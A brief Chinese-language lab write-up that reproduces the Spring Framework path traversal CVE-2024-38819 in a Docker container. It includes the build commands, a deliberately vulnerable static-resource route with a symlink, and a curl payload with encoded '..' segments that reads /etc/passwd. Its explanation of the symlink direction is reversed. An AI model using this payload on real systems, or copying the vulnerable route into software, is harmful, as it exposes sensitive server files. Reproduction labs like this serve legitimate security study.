操作:
根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境
拿到环境的源码使用docker搭建
cd vuln创建容器并启动
 docker build -t cve-2024-38819-poc .docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像


使用命令来验证是否存在漏洞
curl http://localhost:8080/static/link/%2e%2e/etc/passwd请求成功返回了 /etc/passwd 文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如 /etc/passwd)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。
解析:
-  设置静态资源路由:创建 PathTraversalDemoApplication.java文件,使用RouterFunction和FileSystemResource设置静态文件路由public RouterFunction<ServerResponse> staticResourceRouter() {return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); }这段代码创建了一个静态文件资源的路由。当用户访问 /static/**路径时,系统会从/app/static/目录中提供文件。
-  创建符号链接: RUN ln -s /static /app/static/link在 Dockerfile 中, ln -s命令创建了一个符号链接/static,指向/app/static/link。这意味着攻击者可以通过访问/static/link来尝试获取指向其他系统路径的文件。
-  利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如: /static/link/%2e%2e/etc/passwd其中, %2e%2e是%2e编码的..,代表父目录。攻击者通过这种方式尝试从/app/static/目录“跳出”并访问系统的其他目录(如/etc/passwd),从而获取系统敏感信息。